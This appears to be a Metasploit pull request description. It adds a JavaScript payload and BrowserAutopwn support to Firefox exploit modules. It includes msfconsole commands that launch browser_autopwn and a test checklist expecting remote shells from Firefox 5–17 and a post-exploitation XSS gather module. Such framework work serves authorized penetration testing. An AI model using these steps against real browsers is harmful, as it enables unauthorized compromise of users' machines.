Add js payload to firefox_svg_plugin, add BrowserAutopwn support to both FF JS exploits

By defaulting to the JS shell, the firefox js exploits can now work well with autopwn.

    msf> use auxiliary/server/browser_autopwn
    msf auxiliary(browser_autopwn) > set MATCH firefox
    msf auxiliary(browser_autopwn) > set LHOST 0.0.0.0
    msf auxiliary(browser_autopwn) > run

- [ ] You should get a working shell from a firefox 5.*-15.0.1 instance
- [ ] You should be able to run `post/firefox/gather/xss` module against this session (default opts are fine)
- [ ] You should get a working shell from a firefox 17.* instance
- [ ] You should be able to run `post/firefox/gather/xss` module against this session (default opts are fine)